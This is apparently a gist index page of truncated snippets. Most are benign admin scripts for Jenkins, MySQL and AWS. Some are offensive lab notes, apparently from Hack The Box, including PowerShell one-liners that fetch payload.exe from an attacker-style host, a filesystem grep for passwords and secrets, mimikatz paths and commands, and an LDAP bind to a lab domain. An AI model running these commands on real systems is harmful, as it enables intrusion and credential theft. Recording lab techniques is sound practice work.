This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import hudson.plugins.ec2.SlaveTemplate | |
| import jenkins.model.Jenkins | |
| Jenkins jenkins = Jenkins.getInstance() | |
| for (i in jenkins.clouds) { | |
| if (i.searchName == 'ec2-agent') { | |
| println i.templates[0].ami | |
| // i.templates[0].ami = 'ami-xxxxxxx' |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # show grants for all users one liner | |
| cat <<EOF | mysql | grep SHOW | mysql | sed 's/^Grants/# Grants/' | |
| select distinct concat('SHOW GRANTS FOR ', QUOTE(user), '@', QUOTE(host), ';') as query from mysql.user; | |
| EOF |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """docker run util.""" | |
| import os | |
| import shlex | |
| import subprocess | |
| import textwrap | |
| from typing import Dict |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """breakout a bash command into lines.""" | |
| import select | |
| import sys | |
| from textwrap import indent | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """show sg.""" | |
| import argparse | |
| import ipaddress | |
| import boto3 | |
| def get_rules(args): | |
| """Return list of CIDRs for a security group.""" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python3 | |
| # -*- coding: utf-8 -*- | |
| """get role details.""" | |
| import argparse | |
| import json | |
| import boto3 | |
| def json_normalize(obj): |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| powershell "Invoke-WebRequest -Uri http://10.10.14.7:8000/payload.exe -OutFile payload.exe -UseBasicParsing" | |
| powershell "(new-object System.Net.Webclient).Downloadfile('http://10.10.14.7:8000/payload.exe', 'payload.exe')" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # passwords | |
| find / -type f -exec grep -iE '(password|secret|user)' -C 2 {} \; 2>/dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| /usr/share/mimikatz/Win32/mimikatz.exe | |
| /usr/share/mimikatz/x64/mimikatz.exe | |
| /usr/share/nishang/Gather/Invoke-Mimikatz.ps1 | |
| /usr/share/nishang/Gather/Invoke-MimikatzWDigestDowngrade.ps1 | |
| /usr/share/nishang/Gather/Invoke-Mimikittenz.ps1 | |
| #general | |
| privilege::debug | |
| log |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| ldapsearch -x -h localhost -D "cn=binduser,ou=users,dc=pikaboo,dc=htb" -w 'xxxxx' -b "dc=pikaboo,dc=htb" |